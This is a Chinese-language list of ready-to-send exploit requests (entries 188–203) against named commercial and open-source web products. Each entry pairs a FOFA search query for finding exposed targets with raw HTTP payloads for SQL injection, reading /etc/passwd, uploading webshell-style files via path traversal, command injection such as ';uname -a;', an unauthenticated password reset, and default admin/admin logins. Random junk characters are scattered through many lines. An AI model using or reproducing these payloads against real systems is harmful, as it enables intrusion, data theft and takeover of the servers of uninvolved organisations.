5 G  g) j( j- S* U3 B  g+ r9 m( u& y
* p) R' A% m' ~; X
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
; D! m$ i- ?# F3 u; z3 }1 D3 x

188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
" m  m+ n* P+ T6 E# {9 FAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

! ?8 f2 K  G0 u, B
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
# }* w0 {3 ]+ f5 F! g' ~5 _0 XGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
5 Q" x' a, W/ ?1 {( EHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 _$ {" S; K3 o* O! sAccept-Encoding: gzip, deflate
7 t- a5 H1 q3 p8 @7 [' n. `" \3 S3 zAccept-Language: zh-CN,zh;q=0.9
, B4 l; m! Z( l/ B" XConnection: close
7 k- `& Y+ j4 w3 W/ F6 t
3 u9 U; B9 @. _! h! q
7 G' z' |6 D! f3 S/ i4 N190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
- [- z. u) N2 nPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
. m8 j: w7 a6 I/ W2 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* G1 `5 [! _" K6 B, o  a+ W% ^
9 g/ r: O  R/ d6 o2 P! _poi=file:///etc/passwd
7 E9 }* M, J* |4 S- N) z7 ~. S
! H% ^% g4 f# s7 [! n* N: c. O
4 ]& H+ l- s/ f9 x* E& d191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
. G' z* v8 w4 E& v/ n' I/ @; VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) ?" s' |, N" @7 n  I) L) hContent-Type: application/x-www-form-urlencoded
! A/ c3 h; W$ i
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
) E; Z+ n" [2 A, \( }- R: A( x

  L# m% W7 L9 f! D" b+ [* v* a! ^- Z192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
7 R! s4 T9 }! s3 mFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
" p0 C, E' A: C8 m4 A0 y/ ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
3 }! l8 D& |3 i# i

<% @ webhandler language="C#" class="AverageHandler" %>
using System;
7 Z5 k' D- g- u8 c$ Ausing System.Web;
/ I% W& n) i% M/ {public class AverageHandler : IHttpHandler
{
public bool IsReusable
: h% D% K5 ^" `! k+ t{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
, _% q) A) _4 G# }2 bctx.Response.Write("test");
$ Q0 E" E2 ^1 E! T! H7 A}
9 o1 ]1 h  W6 E+ }8 v' P! T# ?}

- K$ p' v4 i& d0 i; h
" b" [# H# u2 u2 A) M  o0 O193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
" g* ^) ?, j( b2 G) s: e3 y5 IFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
5 g6 ]& ^4 Y1 P( ^Host:
* D3 I# {& l. eCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
; }$ e( F  l! Q$ I; pUser-Agent: Mozilla/5.0


! P$ I1 Z! K: ]6 z6 y6 O# \* UPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
! P2 T8 D. ]) D( a" \* yHost:
- |, c/ q8 q) L6 i. c0 qUser-Agent: Mozilla/5.0
$ O) w$ T9 j5 T# W3 N' RAccept-Encoding: gzip, deflate
Accept: */*
& s! `: C- a7 U; S( q- A$ [# tConnection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
$ z/ Q+ B, p3 E, S: m  p! W% a
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


GET /master/img/config HTTP/1.1
Host:
# D6 f% l# I! F' v0 n# Z& U# }User-Agent: Mozilla/5.0
! W, u6 T3 c8 _, q* O

, ^1 f" v2 A3 \. M194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
' r! S7 y! P7 I1 c5 o, TFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
! N( M( q9 F" F# i& a
6 }9 a% T; s, e! }2 s" x2 BPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
% P0 s( `- l4 m3 G: e' G- [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
( J5 G' }, u  m  p: ?& U9 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) n8 l- B& y: h- MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ ~& S# f' E1 L& V2 WAccept-Encoding: gzip, deflate
! r  `) V3 D5 g% _7 k! ?; BConnection: close
8 d) P8 z- g3 |9 q' H9 n" ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
# ^' v$ a" J: {: ?3 f" B7 O
1 A) E2 C; M3 B/ P1 lContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
/ w4 b" W' U" Z/ n# w& Z7 u5 M------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
! k* n: Z4 B) `' j) K------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
* y2 C& ^+ o4 h
4 ^) ?5 V# u5 G, t$ K
  N4 H/ M9 D' B) e195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
2 F. @8 ]# V' j# _$ NHost: 127.0.0.1
4 }- Y9 {' E7 W, e: a" }0 C" {2 RPragma: no-cache
, [9 K9 b0 X+ d5 D, ]* W7 TCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
+ D% @6 H9 ?# t' T% s$ w  AContent-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
+ B- x" I  {" ]& i: R, A3 m

7 G* {- ]8 D9 B8 \196. 河南省风速科技统一认证平台密码重置
; q% r* k' f, G+ \* `7 _% CFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
% L/ i: g: k& |% M. i! u  B1 i% x' FContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
( t/ h0 o! a3 _4 [7 yContent-Length: 45
Connection: close
# h$ x" V: A: d7 d. S$ @4 O
+ s8 o* Z! U. l1 c3 Q! \{"xgh":"test","newPass":"test666","email":""}
* X2 y7 m  y/ d8 H7 V
% L7 f  H! u7 Q. P- i9 v

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
+ q* C0 _- W2 t3 t3 @GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
7 M0 x/ }3 A! @, v1 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close



1 `0 u5 ?( C+ h# |4 W, ]' ~198.  阿里云盘 WebDAV 命令注入
$ o. \- `: }' ^1 A( b3 Q" j% P" ACVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
; }- \& B% N  J! d. P( a# PCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
5 K" D: u; v  uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
& e- u8 u. l8 q# S
/ ]) c+ J" I! i- d' ~$ X
3 i. M$ Q2 }* L: N) `, B199. cockpit系统assetsmanager_upload接口 文件上传
, [8 N6 _2 d2 e! A6 \, u6 j
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
8 w$ w  p9 C$ ]6 {
2.使用刚才上一步获取到的jwt获取cookie：

# t, ?8 b. O' O. [6 c5 MPOST /auth/check HTTP/1.1
/ b3 w7 B* R: K, rContent-Type: application/json
- Q4 n2 v2 R9 l: D/ j
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
/ M$ p1 m$ H: T9 p$ ~$ v; k
' E5 Z# ?2 g7 K& O5 `2 \( \响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
. x" o! y0 J! PFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
, t. L7 ?: ^2 o. r# cCookie: mysession=95524f01e238bf51bb60d77ede3bea92

% o$ [$ Q9 a! U4 z$ h-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
" t/ u. n1 ~, b* ]
<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
5 U' h1 g0 C6 Z- k4 Z, q
-----------------------------36D28FBc36bd6feE7Fb3--
  P8 }4 }" H8 q- l- D
* ]) ^2 h( z9 x5 K% `- K
/storage/uploads/tttt.php
* [  R% ]6 H' H! q" h
200. SeaCMS海洋影视管理系统dmku SQL注入
3 v& u7 b. [8 _FOFA：app="海洋CMS"
; X* A, t6 T% c8 i' @, |GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
4 A$ D: x$ w. v+ W. L# Z7 x) wCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
# T8 q; u+ q' G7 p/ ?Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 A" X' |' k( S" _2 t9 I4 M: V# OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


. {" Q2 m( A& @# J7 R201. 方正全媒体新闻采编系统 binary SQL注入
- r/ \; d7 M0 r( N) I- }FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 u) R& l1 Q% u* w+ T. N8 \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

+ j' z* O. N8 |: I# VTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
4 V8 p- ?, _+ m! _6 |+ a$ O
& H$ _; }' S* X& y9 V) \3 q* S: _' K9 s; H
- |( z6 a# \; B" n202. 微擎系统 AccountEdit任意文件上传
4 K- Y0 }5 S0 l! KFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
5 y) x/ f  F) ]' [2 r, O( xHost: 滑板人之家
3 ~2 ^% G6 q& y$ G2 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
7 I/ k, d3 J7 k4 b) |+ o7 o* FContent-Length: 0


替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
6 H& u6 R- _  \/ f
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
. q* w+ v- u$ E' q* y/ n8 T, AContent-Disposition: form-data; name="__EVENTVALIDATION"

0 |8 @$ l+ r" b, \  {; q. {__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
- [8 G5 b. J) V$ O- x2 ]  @) DContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

Hello World!
! }: R( t  ]  O! B: V/ d- J+ M-----------------------------786435874t38587593865736587346567358735687
9 F6 Z& o, P' o# MContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
9 `7 K* F* Y& r# k" z

0 e, o$ }* l- D8 y, _/ v-----------------------------786435874t38587593865736587346567358735687
! A8 t# X: H1 N# ]% wContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

4 ]6 X& J5 g; e) U' Y
1 I/ z4 h$ o8 [/ N-----------------------------786435874t38587593865736587346567358735687--
! s7 V* Y* y# e

9 j: `: p/ H# [- P( c+ c5 E1 q. j. U/_data/Uploads/1123.txt

$ h) x6 i' P% k* V9 \, W0 [203. 红海云EHR PtFjk 文件上传
% [. a) }5 p' H& O# }, _* W/ zFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
' B$ \$ R& I# `) t1 YHost: x.x.x.x
Accept-Encoding: gzip
, O! G+ D- p/ B2 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 Y3 D$ \% [. Q% {Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
- @7 w4 q8 `7 z; t1 I/ oContent-Length: 210

6 h. C; p0 p2 X) s: D------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
( l" d: h8 ?4 K; v, @4 hContent-Type:image/jpeg
- J$ K" }6 ]/ V+ Y7 m* e
<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
% N  Z- {. j7 Z6 h% ]% ?



9 W  }- S; `+ P) ]' h4 i+ S

+ {7 X5 F+ T/ R( l